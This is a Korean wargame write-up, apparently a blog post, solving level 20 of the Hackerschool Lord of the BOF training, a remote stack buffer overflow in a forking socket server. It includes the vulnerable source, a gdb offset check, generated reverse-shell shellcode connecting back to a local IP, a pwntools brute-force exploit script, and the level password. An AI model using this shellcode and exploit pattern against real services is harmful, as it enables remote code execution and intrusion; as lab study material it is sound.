ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • LEVEL 20 death_knight write-up
    System hacking training/Hackerschool LOB 2018. 10. 4. 14:56
    xavius -> death_knight

    [xavius@localhost xavius]$ cat death_knight.c
    /*
            The Lord of the BOF : The Fellowship of the BOF
            - dark knight
            - remote BOF
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <dumpcode.h>

    main()
    {
        char buffer[40];

        int server_fd, client_fd;  
        struct sockaddr_in server_addr;   
        struct sockaddr_in client_addr;
        int sin_size;

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
            perror("socket");
            exit(1);
        }

        server_addr.sin_family = AF_INET;        
        server_addr.sin_port = htons(6666);   
        server_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(server_addr.sin_zero), 8);   

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
            perror("bind");
            exit(1);
        }

        if(listen(server_fd, 10) == -1){
            perror("listen");
            exit(1);
        }
            
        while(1) {  
            sin_size = sizeof(struct sockaddr_in);
            if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
                perror("accept");
                continue;
            }
                
            if (!fork()){
                send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
                send(client_fd, "You : ", 6, 0);
                recv(client_fd, buffer, 256, 0);
                close(client_fd);
                break;
            }
                
            close(client_fd);  
            while(waitpid(-1,NULL,WNOHANG) > 0);
        }
        close(server_fd);
    }

    [소스코드 분석]
    간단한 소켓 프로그램이다.

    [Step 1]
        char buffer[40];

        int server_fd, client_fd;  
        struct sockaddr_in server_addr;   
        struct sockaddr_in client_addr;
        int sin_size;

    먼저 main()에 선언된 변수를 살펴보면 buffer가 40byte 선언되었고, server와 client 의 socket discriptor를 저장해줄 변수 2개와 각각의 IP 주소를 담을 변수 2개, 마지막으로 sin_size라는 struct sockaddr_in의 사이즈를 받고 accept() 가 호출될 때 client 주소 사이즈를 인자로 넘겨줄 때 사용하는 변수 하나가 선언되어있다.

    [Step 2]
    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
            perror("socket");
            exit(1);
        }

        server_addr.sin_family = AF_INET;        
        server_addr.sin_port = htons(6666);   
        server_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(server_addr.sin_zero), 8);   

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
            perror("bind");
            exit(1);
        }

        if(listen(server_fd, 10) == -1){
            perror("listen");
            exit(1);
        }

    다음으로 server_fd를 생성하고, server_addr 구조체의 맴버 변수를 초기화 해준다.
    이 때 port 를 6666으로 초기화 하기 때문에 연결을 하기 위해서는 6666 port로 연결해야 한다는 것을 알 수 있다.
    이후 bind(), listen() 를 거쳐 클라이언트 접속을 기다리게 된다.

    [Step 3]
    while(1) {  
            sin_size = sizeof(struct sockaddr_in);
            if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
                perror("accept");
                continue;
            }
                
            if (!fork()){
                send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
                send(client_fd, "You : ", 6, 0);
                recv(client_fd, buffer, 256, 0);
                close(client_fd);
                break;
            }
                
            close(client_fd);  
            while(waitpid(-1,NULL,WNOHANG) > 0);
        }
        close(server_fd);
    }

    무한 루프를 돌면서 client가 들어 올때 마다 각각의 client를 fork() 로 생성한 자식 프로세스로 관리를 한다.
    루프가 끝나면 server_fd 를 close() 해주고 끝난다.

    [Step 3]에서 분석한 부분에서 취약한 부분을 발견할 수 있는데
    recv()를 호출해서 client로 부터 어떠한 데이터를 받게 되는데 이 때 buffer가 40byte이지만 256byte를 받음으로서 bof가 터지게 된다.

    여기서 확인해야할 것은 buffer와 ret간의 offset인데
    이는 gdb로 다음과 같이 확인할 수 있다.

    0x8048a05 <main+321>:    push   0
    0x8048a07 <main+323>:    push   0x100
    0x8048a0c <main+328>:    lea    %eax,[%ebp-40]
    0x8048a0f <main+331>:    push   %eax
    0x8048a10 <main+332>:    mov    %eax,DWORD PTR [%ebp-48]
    0x8048a13 <main+335>:    push   %eax
    0x8048a14 <main+336>:    call   0x804860c <recv>

    buffer가 40byte할당 되었고, ebp-40에 위치하기 때문에 ret와 buffer 사이의 dummy는 끼지 않았다.

    이제 익스하면 되는데,
    문제가 있다. 한번도 brute force를 해본적이 없고, remote 환경에서의 exploit은 처음이다.
    그래서 지금부터는 많은 wirte up을 참고 하였다.



    먼저 쉘코드를 구해야하는데
    이유는 우리가 흔히 사용하는 쉘코드는 그저 쉘만 띄우는 코드이기 때문에 "서버"에 쉘코드를 보냈을 때 "서버"에서 실행이 되서 "서버"에서는 쉘이 따질 수 있겠지만 client인 우리는 쉘에 어떠한 명령도 보낼 수 없게된다.

    따라서 gdb-peda를 이용하여 x86 linux환경에서 특정 IP에 대해서 port를 열어주는 쉘코드를 작성해줬다.

    [peda 명령어]
    gdb-peda$ shellcode generate x86/linux connect 4444 192.168.0.143
    # x86/linux/connect: 70 bytes
    # port=4444, host=192.168.0.143
    shellcode = (
        "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
        "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x00\x8f\x66\x68"
        "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
        "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
        "\x89\xe1\xb0\x0b\xcd\x80"
    )


    shellcode generate [os] connect [port] [IP] 를 적어주면 된다.
    저기서는 port 를 444, IP를 192.168.0.143으로 넣어줬다.

    다음으로 remote환경이기 때문에 우리가 넣은 쉘코드의 주소를 알 수 없는데, 이때는 Brute force를 해야한다.
    쉘코드를 스택에 올리기 때문에 앞 주소 0xbfff 는 고정하고, 나머지 2byte를 brute forcing하여 찾아주면 된다.

    다음과 같이 python script를 이용하였다.

    from pwn import *

    shellcode = (
        "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
        "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x00\x8f\x66\x68"
        "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
        "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
        "\x89\xe1\xb0\x0b\xcd\x80"
    )

    for i in range (0xFF,0x00,-1):
        for j in range(0x00,0xFF,10):
            p = remote("192.168.0.128",6666)
            print str(hex(u32(chr(j)+chr(i)+"\xff\xbf")))
            payload = "A"*44
            payload += chr(j)+chr(i)+"\xff\xbf"
            payload += "\x90"*100
            payload += shellcode
            print p.recvuntil("You : ")
            p.send(payload)
            p.close()

    갓표찌님의 payload를 그대로 가져왔다. ㅎㅎ
    그래도 의미는 알아야하니 조금 정리를 해보자면

    첫번 째 for문에 range()에 인자 3개가 들어가 있다.
    range()는 첫번째 인자부터 두번째 인자의 -1한 값까지 반복을 한다고 알고있었기 때문에 인자가 3개까지 들어가는건 생각도 못했다.

    내가 알던 range() 는 다음과 같다.

    range(초기값, 마지막값) // 초기값 ~ 마지막값 - 1

    하지만 인자를 3개 넣으면 range(초기값, 마지막값, 증가값) 이렇게 지정이 된다.
    따라서 첫번째 for문의 의미는 0xff 부터 -1하며 감소하되 0x00까지를 minimum으로 두고 돌리는것이다.

    range(초기값, 마지막값, 증가값)

    다음에 오는 for문도 인자값만 다를 뿐 역할은 같다.
    이후 nc 연결을 위해 remote() 에 IP와 해당 서버의 port 를 주고, payload를 넣어주고 send()로 payload를 보내주는 코드다.

    이제 이 코드를 돌려놓고, nc로 접속을 하면 된다.



    nc : Address already in use 라는 문구를 본다면 쉘코드를 만들때 다른 port를 줘서 만들어보면 된다.

    마지막 pw : got the life

    이상 풀이를 마친다.
    반응형

    'System hacking training > Hackerschool LOB' 카테고리의 다른 글

    LOB All Clear!  (0) 2018.10.04
    LEVEL 19 xavius write-up  (0) 2018.08.12
    LEVEL 18 nightmare write-up  (0) 2018.06.27
    LEVEL 17 succubus write-up  (1) 2018.05.17
    LEVEL 16 zombie_assassin write-up  (0) 2018.05.13
Designed by Tistory.